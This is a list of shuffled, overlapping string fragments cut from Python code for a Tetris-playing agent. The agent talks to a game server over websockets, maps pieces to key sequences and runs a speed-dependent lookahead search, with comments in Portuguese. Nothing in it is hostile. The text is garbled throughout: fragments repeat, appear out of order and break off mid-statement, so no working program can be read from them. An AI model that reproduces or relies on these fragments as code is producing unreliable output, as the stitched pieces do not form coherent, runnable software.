"in initial_info['grid']} x = max(grid, key = lambda coord : coord[0])[0] + 1",
"consoante o lookahead all_keys = [] # grid = {(tup[0],tup[1]) for tup in",
"(x_differential + max_x >= x - 1): break keys = [\"w\"]*rot keys +=",
"deça peça para essa rotaçao for fshape in shapes: # para cada shape",
"Shape(J) #T (done) elif piece[0][0] == piece[1][0] and piece[1][1] == piece[2][1] and piece[1][0]",
"+ [\"s\"] if x_differential < 0 else [\"d\"]*abs(x_differential) + [\"s\"] shapekeys.setdefault(name, []).append(keys) return",
"- 1): break keys = [\"w\"]*rot keys += [\"a\"]*abs(x_differential) + [\"s\"] if x_differential",
"print(\"Server has cleanly disconnected us\") return def shapesKeys(shapes, initial_info): grid = {(tup[0],tup[1]) for",
"timely or your game will get out of sync with the server shapes_keys",
"and piece[1][1] == piece[2][1] and piece[2][1] == piece[3][1]: fshape = Shape(I) #O (done)",
"coord : coord[0])[0] + 1 # y = max(grid, key = lambda coord",
"new_piece = False keys = all_keys.pop(0) # Encontrar a melhor solução para a",
"key=lambda coords: coords[0])[0] name = _fs.name + str(rot) # percorrer colunas [1,8] for",
"game_speed > 25 and game_speed < 32: #lookahead 2 shapes = [current_shape] +",
"copy(fshape) _fs.rotate(rot) min_x = min(_fs.positions, key=lambda coords: coords[0])[0] max_x = max(_fs.positions, key=lambda coords:",
"= findShape(piece) next_shapes = [findShape(shape) for shape in next_pieces] shapes = None if",
"calcular a search tree keys = [] # isto pode ser um array",
"if x_differential < 0 else [\"d\"]*abs(x_differential) + [\"s\"] shapekeys.setdefault(name, []).append(keys) return shapekeys def",
"# receive game update, this must be called timely or your game will",
"(só verifica se keys existe porque o pop das keys ja acontece acima)",
"de teclas q podem ser premidas fshape.set_pos((x - fshape.dimensions.x) / 2, 0) for",
"THE LINES BELLOW # You can change the default values using the command",
"shapes: # para cada shape existente vai descobrir TODAS as combinaçoes de teclas",
"- fshape.dimensions.x) / 2, 0) for rot in range(0, len(fshape.plan)): # loop para",
"You can change the default values using the command line, example: # $",
"chaves para uma das peças especificas no lookahead first_piece = True #quando está",
"peça foi encaixada, não existindo nenhuma nova, por agora if piece is None:",
"await websocket.send( json.dumps({\"cmd\": \"key\", \"key\": keys.pop(0)}) ) # Peça recebida if 'piece' in",
"[current_shape] + next_shapes[:-2] #shapes = [current_shape] + next_shapes[:-2] s = Search(state,initial_info,shapes,variables,shapes_keys) s.search() all_keys",
"== piece[2][0] and piece[0][1] == piece[1][1] and piece[1][0] == piece[3][0] and piece[2][1] ==",
"#J (done) elif piece[0][1] == piece[1][1] and piece[0][0] == piece[2][0] and piece[2][0] ==",
"and piece[1][0] == piece[2][0] and piece[2][1] == piece[3][1]: fshape = Shape(L) return fshape",
"break keys = [\"w\"]*rot keys += [\"a\"]*abs(x_differential) + [\"s\"] if x_differential < 0",
"sync with the server shapes_keys = shapesKeys(SHAPES,initial_info) A = -0.510066 B = -0.184483",
"< 32: #lookahead 2 shapes = [current_shape] + next_shapes[:-1] elif game_speed >= 32:",
"fshape # DO NOT CHANGE THE LINES BELLOW # You can change the",
"key = lambda coord : coord[0])[0] + 1 # y = max(grid, key",
"await websocket.send(json.dumps({\"cmd\": \"join\", \"name\": agent_name})) initial_info = json.loads( await websocket.recv() ) # receive",
"or your game will get out of sync with the server if keys:",
"a prineira peça game_speed = state['game_speed'] else: piece = None # A peça",
"rotaçao da peça atual _fs = copy(fshape) _fs.rotate(rot) min_x = min(_fs.positions, key=lambda coords:",
"$ NAME='arrumador' python3 client.py loop = asyncio.get_event_loop() SERVER = os.environ.get(\"SERVER\", \"localhost\") PORT =",
"piece[2][1] == piece[3][1]: fshape = Shape(L) return fshape # DO NOT CHANGE THE",
"- min_x # dispensa soluções não válidas if (x_differential + max_x >= x",
"websocket.recv() ) # receive game update, this must be called timely or your",
"len(fshape.plan)): # loop para fazer cada rotaçao da peça atual _fs = copy(fshape)",
"tree keys = [] # isto pode ser um array de arrays, cada",
"loop para fazer cada rotaçao da peça atual _fs = copy(fshape) _fs.rotate(rot) min_x",
"for tup in initial_info['grid']} x = max(grid, key = lambda coord : coord[0])[0]",
"piece[2][0] and piece[0][1] == piece[1][1] and piece[1][0] == piece[3][0] and piece[2][1] == piece[3][1]:",
"shapes = [current_shape] + next_shapes[:] elif game_speed > 25 and game_speed < 32:",
"try: all_keys = [sol.keys for sol in s.best_solution.solutions] except: all_keys = [[\"s\"]]*len(shapes) keys",
"O, J, T, L, Shape from search import * async def agent_loop(server_address=\"localhost:8000\", agent_name=\"student\"):",
"if not first_piece: # se todas as chaves/keys do lookahead já foram enviadas,",
"\"key\": keys.pop(0)}) ) # Peça recebida if 'piece' in state: piece = state['piece']",
"peça game_speed = state['game_speed'] else: piece = None # A peça foi encaixada,",
"[] # grid = {(tup[0],tup[1]) for tup in initial_info['grid']} # x = max(grid,",
"#O (done) elif piece[0][0] == piece[2][0] and piece[0][1] == piece[1][1] and piece[1][0] ==",
"the default values using the command line, example: # $ NAME='arrumador' python3 client.py",
"#I (done) elif piece[0][1] == piece[1][1] and piece[1][1] == piece[2][1] and piece[2][1] ==",
"verifica se keys existe porque o pop das keys ja acontece acima) if",
"melhor solução para a nova peça elif first_piece: current_shape = findShape(piece) next_shapes =",
"recebida vai fazer o search if not all_keys: first_piece = True else: new_piece",
"json.loads( await websocket.recv() ) # receive game update, this must be called timely",
": coord[0])[0] + 1 shapekeys = dict() #dicionario q guarda shape+rotation e todas",
"já foram enviadas, então acabou e a próxima peça recebida vai fazer o",
"fshape in shapes: # para cada shape existente vai descobrir TODAS as combinaçoes",
"[\"a\"]*abs(x_differential) + [\"s\"] if x_differential < 0 else [\"d\"]*abs(x_differential) + [\"s\"] shapekeys.setdefault(name, []).append(keys)",
"= -0.510066 B = -0.184483 C = -0.35663 D = 0.760666 variables =",
"= Shape(O) #J (done) elif piece[0][1] == piece[1][1] and piece[0][0] == piece[2][0] and",
"= state['piece'] next_pieces = state['next_pieces'] # apenas a prineira peça game_speed = state['game_speed']",
"# lookahead 3 shapes = [current_shape] + next_shapes[:] elif game_speed > 25 and",
"é o conjunto de chaves para uma das peças especificas no lookahead first_piece",
"None if game_speed <= 25: # lookahead 3 shapes = [current_shape] + next_shapes[:]",
"acabou e a próxima peça recebida vai fazer o search if not all_keys:",
"async with websockets.connect(f\"ws://{server_address}/player\") as websocket: # Receive information about static game properties await",
"temos de usar o search() e calcular as keys consoante o lookahead all_keys",
"piece[0][0] == piece[2][0] and piece[2][0] == piece[3][0]: fshape = Shape(J) #T (done) elif",
"== piece[3][0]: fshape = Shape(T) #L (done) elif piece[0][0] == piece[1][0] and piece[1][0]",
"asyncio.get_event_loop() SERVER = os.environ.get(\"SERVER\", \"localhost\") PORT = os.environ.get(\"PORT\", \"8000\") NAME = os.environ.get(\"NAME\", getpass.getuser())",
"< 0 else [\"d\"]*abs(x_differential) + [\"s\"] shapekeys.setdefault(name, []).append(keys) return shapekeys def findShape(piece): #S",
"get out of sync with the server if keys: await websocket.send( json.dumps({\"cmd\": \"key\",",
"Peça recebida if 'piece' in state: piece = state['piece'] next_pieces = state['next_pieces'] #",
"new_piece = False first_piece = False except websockets.exceptions.ConnectionClosedOK: print(\"Server has cleanly disconnected us\")",
"piece = state['piece'] next_pieces = state['next_pieces'] # apenas a prineira peça game_speed =",
"= [A,B,C,D] new_piece = True #variavel para saber é uma nova peça e,",
"Nova peça elif new_piece: # Caso a peça faça parte do lookahead de",
"[[\"s\"]]*len(shapes) keys = all_keys.pop(0) new_piece = False first_piece = False except websockets.exceptions.ConnectionClosedOK: print(\"Server",
"NAME='arrumador' python3 client.py loop = asyncio.get_event_loop() SERVER = os.environ.get(\"SERVER\", \"localhost\") PORT = os.environ.get(\"PORT\",",
"websocket.send(json.dumps({\"cmd\": \"join\", \"name\": agent_name})) initial_info = json.loads( await websocket.recv() ) # receive game",
"= [\"w\"]*rot keys += [\"a\"]*abs(x_differential) + [\"s\"] if x_differential < 0 else [\"d\"]*abs(x_differential)",
"vai descobrir TODAS as combinaçoes de teclas q podem ser premidas fshape.set_pos((x -",
"se todas as chaves/keys do lookahead já foram enviadas, então acabou e a",
"True else: new_piece = False keys = all_keys.pop(0) # Encontrar a melhor solução",
"(done) if piece[0][0] == piece[1][0] and piece[1][1] == piece[2][1] and piece[2][0] == piece[3][0]:",
"# y = max(grid, key = lambda coord : coord[1])[1] # print(x,y) while",
"Encontrar a melhor solução para a nova peça elif first_piece: current_shape = findShape(piece)",
"except: all_keys = [[\"s\"]]*len(shapes) keys = all_keys.pop(0) new_piece = False first_piece = False",
"uma peça anterior (só verifica se keys existe porque o pop das keys",
"#L (done) elif piece[0][0] == piece[1][0] and piece[1][0] == piece[2][0] and piece[2][1] ==",
"porque o pop das keys ja acontece acima) if not first_piece: # se",
"se keys existe porque o pop das keys ja acontece acima) if not",
"shape+rotation e todas as teclas possiveis no tabuleiro deça peça para essa rotaçao",
"== piece[3][1]: fshape = Shape(I) #O (done) elif piece[0][0] == piece[2][0] and piece[0][1]",
"= [sol.keys for sol in s.best_solution.solutions] except: all_keys = [[\"s\"]]*len(shapes) keys = all_keys.pop(0)",
"no tabuleiro deça peça para essa rotaçao for fshape in shapes: # para",
"as keys consoante o lookahead all_keys = [] # grid = {(tup[0],tup[1]) for",
"# Peça recebida if 'piece' in state: piece = state['piece'] next_pieces = state['next_pieces']",
"> 25 and game_speed < 32: #lookahead 2 shapes = [current_shape] + next_shapes[:-1]",
"fshape = Shape(Z) #I (done) elif piece[0][1] == piece[1][1] and piece[1][1] == piece[2][1]",
"shapekeys.setdefault(name, []).append(keys) return shapekeys def findShape(piece): #S (done) if piece[0][0] == piece[1][0] and",
"= Shape(Z) #I (done) elif piece[0][1] == piece[1][1] and piece[1][1] == piece[2][1] and",
"possiveis no tabuleiro deça peça para essa rotaçao for fshape in shapes: #",
"de chaves para uma das peças especificas no lookahead first_piece = True #quando",
"= False first_piece = False except websockets.exceptions.ConnectionClosedOK: print(\"Server has cleanly disconnected us\") return",
"# print(x,y) while True: try: state = json.loads( await websocket.recv() ) # receive",
"_fs.rotate(rot) min_x = min(_fs.positions, key=lambda coords: coords[0])[0] max_x = max(_fs.positions, key=lambda coords: coords[0])[0]",
"= Shape(L) return fshape # DO NOT CHANGE THE LINES BELLOW # You",
"[A,B,C,D] new_piece = True #variavel para saber é uma nova peça e, assim,",
"shapekeys def findShape(piece): #S (done) if piece[0][0] == piece[1][0] and piece[1][1] == piece[2][1]",
"all_keys.pop(0) new_piece = False first_piece = False except websockets.exceptions.ConnectionClosedOK: print(\"Server has cleanly disconnected",
"if not all_keys: first_piece = True else: new_piece = False keys = all_keys.pop(0)",
") # Peça recebida if 'piece' in state: piece = state['piece'] next_pieces =",
"if 'piece' in state: piece = state['piece'] next_pieces = state['next_pieces'] # apenas a",
"else [\"d\"]*abs(x_differential) + [\"s\"] shapekeys.setdefault(name, []).append(keys) return shapekeys def findShape(piece): #S (done) if",
"piece[2][0] and piece[1][1] == piece[2][1] and piece[1][0] == piece[3][0]: fshape = Shape(Z) #I",
"dict() #dicionario q guarda shape+rotation e todas as teclas possiveis no tabuleiro deça",
">= x - 1): break keys = [\"w\"]*rot keys += [\"a\"]*abs(x_differential) + [\"s\"]",
"and piece[1][1] == piece[2][1] and piece[2][0] == piece[3][0]: fshape = Shape(S) #Z (done)",
"= None # A peça foi encaixada, não existindo nenhuma nova, por agora",
"keys consoante o lookahead all_keys = [] # grid = {(tup[0],tup[1]) for tup",
"first_piece = True #quando está é true, temos de usar o search() e",
"peça recebida vai fazer o search if not all_keys: first_piece = True else:",
"fshape.dimensions.x) / 2, 0) for rot in range(0, len(fshape.plan)): # loop para fazer",
"essa rotaçao for fshape in shapes: # para cada shape existente vai descobrir",
"T, L, Shape from search import * async def agent_loop(server_address=\"localhost:8000\", agent_name=\"student\"): async with",
"piece[1][0] and piece[1][1] == piece[2][1] and piece[1][0] == piece[3][0]: fshape = Shape(T) #L",
"change the default values using the command line, example: # $ NAME='arrumador' python3",
"values using the command line, example: # $ NAME='arrumador' python3 client.py loop =",
"keys = [\"w\"]*rot keys += [\"a\"]*abs(x_differential) + [\"s\"] if x_differential < 0 else",
"+ 1 shapekeys = dict() #dicionario q guarda shape+rotation e todas as teclas",
"[\"s\"] shapekeys.setdefault(name, []).append(keys) return shapekeys def findShape(piece): #S (done) if piece[0][0] == piece[1][0]",
"LINES BELLOW # You can change the default values using the command line,",
"shape in next_pieces] shapes = None if game_speed <= 25: # lookahead 3",
"= None if game_speed <= 25: # lookahead 3 shapes = [current_shape] +",
"# grid = {(tup[0],tup[1]) for tup in initial_info['grid']} # x = max(grid, key",
"range(1, x-1): x_differential = a - min_x # dispensa soluções não válidas if",
"piece[0][0] == piece[1][0] and piece[1][1] == piece[2][1] and piece[1][0] == piece[3][0]: fshape =",
"= [[\"s\"]]*len(shapes) keys = all_keys.pop(0) new_piece = False first_piece = False except websockets.exceptions.ConnectionClosedOK:",
"a in range(1, x-1): x_differential = a - min_x # dispensa soluções não",
"= True # Nova peça elif new_piece: # Caso a peça faça parte",
"próxima peça recebida vai fazer o search if not all_keys: first_piece = True",
"== piece[1][1] and piece[0][0] == piece[2][0] and piece[2][0] == piece[3][0]: fshape = Shape(J)",
"o search() e calcular as keys consoante o lookahead all_keys = [] #",
"== piece[2][0] and piece[2][0] == piece[3][0]: fshape = Shape(J) #T (done) elif piece[0][0]",
"#lookahead 1 shapes = [current_shape] + next_shapes[:-2] #shapes = [current_shape] + next_shapes[:-2] s",
"soluções não válidas if (x_differential + max_x >= x - 1): break keys",
"websockets.connect(f\"ws://{server_address}/player\") as websocket: # Receive information about static game properties await websocket.send(json.dumps({\"cmd\": \"join\",",
"the command line, example: # $ NAME='arrumador' python3 client.py loop = asyncio.get_event_loop() SERVER",
"para fazer cada rotaçao da peça atual _fs = copy(fshape) _fs.rotate(rot) min_x =",
"for sol in s.best_solution.solutions] except: all_keys = [[\"s\"]]*len(shapes) keys = all_keys.pop(0) new_piece =",
"[\"w\"]*rot keys += [\"a\"]*abs(x_differential) + [\"s\"] if x_differential < 0 else [\"d\"]*abs(x_differential) +",
"foram enviadas, então acabou e a próxima peça recebida vai fazer o search",
"return def shapesKeys(shapes, initial_info): grid = {(tup[0],tup[1]) for tup in initial_info['grid']} x =",
"1): break keys = [\"w\"]*rot keys += [\"a\"]*abs(x_differential) + [\"s\"] if x_differential <",
"1 shapes = [current_shape] + next_shapes[:-2] #shapes = [current_shape] + next_shapes[:-2] s =",
"import * async def agent_loop(server_address=\"localhost:8000\", agent_name=\"student\"): async with websockets.connect(f\"ws://{server_address}/player\") as websocket: # Receive",
"== piece[1][0] and piece[1][1] == piece[2][1] and piece[2][0] == piece[3][0]: fshape = Shape(S)",
"então acabou e a próxima peça recebida vai fazer o search if not",
"in state: piece = state['piece'] next_pieces = state['next_pieces'] # apenas a prineira peça",
"lookahead de uma peça anterior (só verifica se keys existe porque o pop",
"a - min_x # dispensa soluções não válidas if (x_differential + max_x >=",
"-0.510066 B = -0.184483 C = -0.35663 D = 0.760666 variables = [A,B,C,D]",
"and piece[1][0] == piece[3][0]: fshape = Shape(Z) #I (done) elif piece[0][1] == piece[1][1]",
"import getpass import json import os import websockets from shape import S, Z,",
"coords: coords[0])[0] max_x = max(_fs.positions, key=lambda coords: coords[0])[0] name = _fs.name + str(rot)",
"x-1): x_differential = a - min_x # dispensa soluções não válidas if (x_differential",
"podem ser premidas fshape.set_pos((x - fshape.dimensions.x) / 2, 0) for rot in range(0,",
"if piece is None: new_piece = True # Nova peça elif new_piece: #",
"piece[2][1] == piece[3][1]: fshape = Shape(I) #O (done) elif piece[0][0] == piece[2][0] and",
"prineira peça game_speed = state['game_speed'] else: piece = None # A peça foi",
"* async def agent_loop(server_address=\"localhost:8000\", agent_name=\"student\"): async with websockets.connect(f\"ws://{server_address}/player\") as websocket: # Receive information",
"por agora if piece is None: new_piece = True # Nova peça elif",
"fshape.set_pos((x - fshape.dimensions.x) / 2, 0) for rot in range(0, len(fshape.plan)): # loop",
"+ [\"s\"] shapekeys.setdefault(name, []).append(keys) return shapekeys def findShape(piece): #S (done) if piece[0][0] ==",
"peça anterior (só verifica se keys existe porque o pop das keys ja",
"from search import * async def agent_loop(server_address=\"localhost:8000\", agent_name=\"student\"): async with websockets.connect(f\"ws://{server_address}/player\") as websocket:",
"search import * async def agent_loop(server_address=\"localhost:8000\", agent_name=\"student\"): async with websockets.connect(f\"ws://{server_address}/player\") as websocket: #",
"o conjunto de chaves para uma das peças especificas no lookahead first_piece =",
"in s.best_solution.solutions] except: all_keys = [[\"s\"]]*len(shapes) keys = all_keys.pop(0) new_piece = False first_piece",
"Shape(S) #Z (done) elif piece[0][0] == piece[2][0] and piece[1][1] == piece[2][1] and piece[1][0]",
"x - 1): break keys = [\"w\"]*rot keys += [\"a\"]*abs(x_differential) + [\"s\"] if",
"[\"d\"]*abs(x_differential) + [\"s\"] shapekeys.setdefault(name, []).append(keys) return shapekeys def findShape(piece): #S (done) if piece[0][0]",
"websockets from shape import S, Z, I, O, J, T, L, Shape from",
"== piece[2][1] and piece[1][0] == piece[3][0]: fshape = Shape(T) #L (done) elif piece[0][0]",
"sub-array é o conjunto de chaves para uma das peças especificas no lookahead",
"para saber é uma nova peça e, assim, calcular a search tree keys",
"e a próxima peça recebida vai fazer o search if not all_keys: first_piece",
"lookahead all_keys = [] # grid = {(tup[0],tup[1]) for tup in initial_info['grid']} #",
"piece[0][0] == piece[1][0] and piece[1][0] == piece[2][0] and piece[2][1] == piece[3][1]: fshape =",
"está é true, temos de usar o search() e calcular as keys consoante",
"max(_fs.positions, key=lambda coords: coords[0])[0] name = _fs.name + str(rot) # percorrer colunas [1,8]",
"o pop das keys ja acontece acima) if not first_piece: # se todas",
"# percorrer colunas [1,8] for a in range(1, x-1): x_differential = a -",
"False first_piece = False except websockets.exceptions.ConnectionClosedOK: print(\"Server has cleanly disconnected us\") return def",
"min(_fs.positions, key=lambda coords: coords[0])[0] max_x = max(_fs.positions, key=lambda coords: coords[0])[0] name = _fs.name",
"(done) elif piece[0][0] == piece[2][0] and piece[1][1] == piece[2][1] and piece[1][0] == piece[3][0]:",
"and piece[2][1] == piece[3][1]: fshape = Shape(I) #O (done) elif piece[0][0] == piece[2][0]",
"# dispensa soluções não válidas if (x_differential + max_x >= x - 1):",
"try: state = json.loads( await websocket.recv() ) # receive game update, this must",
"= [current_shape] + next_shapes[:-2] s = Search(state,initial_info,shapes,variables,shapes_keys) s.search() all_keys = None try: all_keys",
"1 # y = max(grid, key = lambda coord : coord[1])[1] # print(x,y)",
"shapes_keys = shapesKeys(SHAPES,initial_info) A = -0.510066 B = -0.184483 C = -0.35663 D",
"= -0.35663 D = 0.760666 variables = [A,B,C,D] new_piece = True #variavel para",
"True #variavel para saber é uma nova peça e, assim, calcular a search",
"json.dumps({\"cmd\": \"key\", \"key\": keys.pop(0)}) ) # Peça recebida if 'piece' in state: piece",
"nova, por agora if piece is None: new_piece = True # Nova peça",
"first_piece = True else: new_piece = False keys = all_keys.pop(0) # Encontrar a",
"== piece[3][0] and piece[2][1] == piece[3][1]: fshape = Shape(O) #J (done) elif piece[0][1]",
"initial_info['grid']} # x = max(grid, key = lambda coord : coord[0])[0] + 1",
"your game will get out of sync with the server shapes_keys = shapesKeys(SHAPES,initial_info)",
"initial_info['grid']} x = max(grid, key = lambda coord : coord[0])[0] + 1 shapekeys",
"piece[1][0] and piece[1][0] == piece[2][0] and piece[2][1] == piece[3][1]: fshape = Shape(L) return",
"coord : coord[0])[0] + 1 shapekeys = dict() #dicionario q guarda shape+rotation e",
"= True #variavel para saber é uma nova peça e, assim, calcular a",
"Z, I, O, J, T, L, Shape from search import * async def",
"if (x_differential + max_x >= x - 1): break keys = [\"w\"]*rot keys",
"[current_shape] + next_shapes[:-2] s = Search(state,initial_info,shapes,variables,shapes_keys) s.search() all_keys = None try: all_keys =",
"B = -0.184483 C = -0.35663 D = 0.760666 variables = [A,B,C,D] new_piece",
"await websocket.recv() ) # receive game update, this must be called timely or",
"coords[0])[0] name = _fs.name + str(rot) # percorrer colunas [1,8] for a in",
"fshape = Shape(T) #L (done) elif piece[0][0] == piece[1][0] and piece[1][0] == piece[2][0]",
"piece is None: new_piece = True # Nova peça elif new_piece: # Caso",
"= max(grid, key = lambda coord : coord[1])[1] # print(x,y) while True: try:",
"not first_piece: # se todas as chaves/keys do lookahead já foram enviadas, então",
"para uma das peças especificas no lookahead first_piece = True #quando está é",
"== piece[2][1] and piece[2][1] == piece[3][1]: fshape = Shape(I) #O (done) elif piece[0][0]",
"elif new_piece: # Caso a peça faça parte do lookahead de uma peça",
"key = lambda coord : coord[0])[0] + 1 shapekeys = dict() #dicionario q",
"q guarda shape+rotation e todas as teclas possiveis no tabuleiro deça peça para",
"keys: await websocket.send( json.dumps({\"cmd\": \"key\", \"key\": keys.pop(0)}) ) # Peça recebida if 'piece'",
"array de arrays, cada sub-array é o conjunto de chaves para uma das",
"= max(grid, key = lambda coord : coord[0])[0] + 1 shapekeys = dict()",
"\"name\": agent_name})) initial_info = json.loads( await websocket.recv() ) # receive game update, this",
"piece[0][1] == piece[1][1] and piece[0][0] == piece[2][0] and piece[2][0] == piece[3][0]: fshape =",
"state: piece = state['piece'] next_pieces = state['next_pieces'] # apenas a prineira peça game_speed",
"= state['next_pieces'] # apenas a prineira peça game_speed = state['game_speed'] else: piece =",
"ja acontece acima) if not first_piece: # se todas as chaves/keys do lookahead",
"max(grid, key = lambda coord : coord[0])[0] + 1 # y = max(grid,",
"properties await websocket.send(json.dumps({\"cmd\": \"join\", \"name\": agent_name})) initial_info = json.loads( await websocket.recv() ) #",
"S, Z, I, O, J, T, L, Shape from search import * async",
"state['next_pieces'] # apenas a prineira peça game_speed = state['game_speed'] else: piece = None",
"pode ser um array de arrays, cada sub-array é o conjunto de chaves",
"ser premidas fshape.set_pos((x - fshape.dimensions.x) / 2, 0) for rot in range(0, len(fshape.plan)):",
"colunas [1,8] for a in range(1, x-1): x_differential = a - min_x #",
"== piece[3][0]: fshape = Shape(Z) #I (done) elif piece[0][1] == piece[1][1] and piece[1][1]",
"a search tree keys = [] # isto pode ser um array de",
"x = max(grid, key = lambda coord : coord[0])[0] + 1 shapekeys =",
"name = _fs.name + str(rot) # percorrer colunas [1,8] for a in range(1,",
"# Receive information about static game properties await websocket.send(json.dumps({\"cmd\": \"join\", \"name\": agent_name})) initial_info",
"= False keys = all_keys.pop(0) # Encontrar a melhor solução para a nova",
"timely or your game will get out of sync with the server if",
"piece[2][1] and piece[2][1] == piece[3][1]: fshape = Shape(I) #O (done) elif piece[0][0] ==",
"peça e, assim, calcular a search tree keys = [] # isto pode",
"um array de arrays, cada sub-array é o conjunto de chaves para uma",
"(done) elif piece[0][1] == piece[1][1] and piece[0][0] == piece[2][0] and piece[2][0] == piece[3][0]:",
"shapesKeys(shapes, initial_info): grid = {(tup[0],tup[1]) for tup in initial_info['grid']} x = max(grid, key",
"premidas fshape.set_pos((x - fshape.dimensions.x) / 2, 0) for rot in range(0, len(fshape.plan)): #",
"e, assim, calcular a search tree keys = [] # isto pode ser",
"called timely or your game will get out of sync with the server",
"cada shape existente vai descobrir TODAS as combinaçoes de teclas q podem ser",
"<= 25: # lookahead 3 shapes = [current_shape] + next_shapes[:] elif game_speed >",
"= {(tup[0],tup[1]) for tup in initial_info['grid']} # x = max(grid, key = lambda",
"das keys ja acontece acima) if not first_piece: # se todas as chaves/keys",
"do lookahead de uma peça anterior (só verifica se keys existe porque o",
"asyncio import getpass import json import os import websockets from shape import S,",
"state = json.loads( await websocket.recv() ) # receive game update, this must be",
"information about static game properties await websocket.send(json.dumps({\"cmd\": \"join\", \"name\": agent_name})) initial_info = json.loads(",
"fazer o search if not all_keys: first_piece = True else: new_piece = False",
"coord[0])[0] + 1 shapekeys = dict() #dicionario q guarda shape+rotation e todas as",
": coord[1])[1] # print(x,y) while True: try: state = json.loads( await websocket.recv() )",
"game_speed = state['game_speed'] else: piece = None # A peça foi encaixada, não",
"peça faça parte do lookahead de uma peça anterior (só verifica se keys",
"will get out of sync with the server if keys: await websocket.send( json.dumps({\"cmd\":",
"2, 0) for rot in range(0, len(fshape.plan)): # loop para fazer cada rotaçao",
"True: try: state = json.loads( await websocket.recv() ) # receive game update, this",
"#S (done) if piece[0][0] == piece[1][0] and piece[1][1] == piece[2][1] and piece[2][0] ==",
"piece[1][1] == piece[2][1] and piece[1][0] == piece[3][0]: fshape = Shape(Z) #I (done) elif",
"else: piece = None # A peça foi encaixada, não existindo nenhuma nova,",
"lambda coord : coord[1])[1] # print(x,y) while True: try: state = json.loads( await",
"example: # $ NAME='arrumador' python3 client.py loop = asyncio.get_event_loop() SERVER = os.environ.get(\"SERVER\", \"localhost\")",
"0.760666 variables = [A,B,C,D] new_piece = True #variavel para saber é uma nova",
"lookahead first_piece = True #quando está é true, temos de usar o search()",
"NOT CHANGE THE LINES BELLOW # You can change the default values using",
">= 32: #lookahead 1 shapes = [current_shape] + next_shapes[:-2] #shapes = [current_shape] +",
"CHANGE THE LINES BELLOW # You can change the default values using the",
"us\") return def shapesKeys(shapes, initial_info): grid = {(tup[0],tup[1]) for tup in initial_info['grid']} x",
"descobrir TODAS as combinaçoes de teclas q podem ser premidas fshape.set_pos((x - fshape.dimensions.x)",
"o search if not all_keys: first_piece = True else: new_piece = False keys",
"search if not all_keys: first_piece = True else: new_piece = False keys =",
"{(tup[0],tup[1]) for tup in initial_info['grid']} # x = max(grid, key = lambda coord",
"piece[2][0] and piece[2][0] == piece[3][0]: fshape = Shape(J) #T (done) elif piece[0][0] ==",
"[sol.keys for sol in s.best_solution.solutions] except: all_keys = [[\"s\"]]*len(shapes) keys = all_keys.pop(0) new_piece",
"(done) elif piece[0][0] == piece[1][0] and piece[1][0] == piece[2][0] and piece[2][1] == piece[3][1]:",
"shapesKeys(SHAPES,initial_info) A = -0.510066 B = -0.184483 C = -0.35663 D = 0.760666",
"keys existe porque o pop das keys ja acontece acima) if not first_piece:",
"# isto pode ser um array de arrays, cada sub-array é o conjunto",
"websockets.exceptions.ConnectionClosedOK: print(\"Server has cleanly disconnected us\") return def shapesKeys(shapes, initial_info): grid = {(tup[0],tup[1])",
"apenas a prineira peça game_speed = state['game_speed'] else: piece = None # A",
"is None: new_piece = True # Nova peça elif new_piece: # Caso a",
"if piece[0][0] == piece[1][0] and piece[1][1] == piece[2][1] and piece[2][0] == piece[3][0]: fshape",
"elif piece[0][0] == piece[1][0] and piece[1][0] == piece[2][0] and piece[2][1] == piece[3][1]: fshape",
"usar o search() e calcular as keys consoante o lookahead all_keys = []",
"game_speed >= 32: #lookahead 1 shapes = [current_shape] + next_shapes[:-2] #shapes = [current_shape]",
"= True #quando está é true, temos de usar o search() e calcular",
"para cada shape existente vai descobrir TODAS as combinaçoes de teclas q podem",
"keys ja acontece acima) if not first_piece: # se todas as chaves/keys do",
"can change the default values using the command line, example: # $ NAME='arrumador'",
"piece[3][1]: fshape = Shape(I) #O (done) elif piece[0][0] == piece[2][0] and piece[0][1] ==",
"= min(_fs.positions, key=lambda coords: coords[0])[0] max_x = max(_fs.positions, key=lambda coords: coords[0])[0] name =",
"DO NOT CHANGE THE LINES BELLOW # You can change the default values",
"== piece[1][1] and piece[1][1] == piece[2][1] and piece[2][1] == piece[3][1]: fshape = Shape(I)",
"foi encaixada, não existindo nenhuma nova, por agora if piece is None: new_piece",
"nova peça e, assim, calcular a search tree keys = [] # isto",
"= copy(fshape) _fs.rotate(rot) min_x = min(_fs.positions, key=lambda coords: coords[0])[0] max_x = max(_fs.positions, key=lambda",
"all_keys = [[\"s\"]]*len(shapes) keys = all_keys.pop(0) new_piece = False first_piece = False except",
"acontece acima) if not first_piece: # se todas as chaves/keys do lookahead já",
"websocket.send( json.dumps({\"cmd\": \"key\", \"key\": keys.pop(0)}) ) # Peça recebida if 'piece' in state:",
"piece[3][0]: fshape = Shape(Z) #I (done) elif piece[0][1] == piece[1][1] and piece[1][1] ==",
"enviadas, então acabou e a próxima peça recebida vai fazer o search if",
"= lambda coord : coord[0])[0] + 1 # y = max(grid, key =",
"the server shapes_keys = shapesKeys(SHAPES,initial_info) A = -0.510066 B = -0.184483 C =",
"must be called timely or your game will get out of sync with",
"= Shape(J) #T (done) elif piece[0][0] == piece[1][0] and piece[1][1] == piece[2][1] and",
"for a in range(1, x-1): x_differential = a - min_x # dispensa soluções",
"saber é uma nova peça e, assim, calcular a search tree keys =",
"piece[1][1] and piece[1][1] == piece[2][1] and piece[2][1] == piece[3][1]: fshape = Shape(I) #O",
"piece[1][0] == piece[3][0]: fshape = Shape(T) #L (done) elif piece[0][0] == piece[1][0] and",
"search() e calcular as keys consoante o lookahead all_keys = [] # grid",
"piece[2][0] == piece[3][0]: fshape = Shape(J) #T (done) elif piece[0][0] == piece[1][0] and",
"max(grid, key = lambda coord : coord[0])[0] + 1 shapekeys = dict() #dicionario",
"coord[1])[1] # print(x,y) while True: try: state = json.loads( await websocket.recv() ) #",
"for shape in next_pieces] shapes = None if game_speed <= 25: # lookahead",
"dispensa soluções não válidas if (x_differential + max_x >= x - 1): break",
"key=lambda coords: coords[0])[0] max_x = max(_fs.positions, key=lambda coords: coords[0])[0] name = _fs.name +",
"None try: all_keys = [sol.keys for sol in s.best_solution.solutions] except: all_keys = [[\"s\"]]*len(shapes)",
"C = -0.35663 D = 0.760666 variables = [A,B,C,D] new_piece = True #variavel",
"+ max_x >= x - 1): break keys = [\"w\"]*rot keys += [\"a\"]*abs(x_differential)",
"== piece[2][1] and piece[1][0] == piece[3][0]: fshape = Shape(Z) #I (done) elif piece[0][1]",
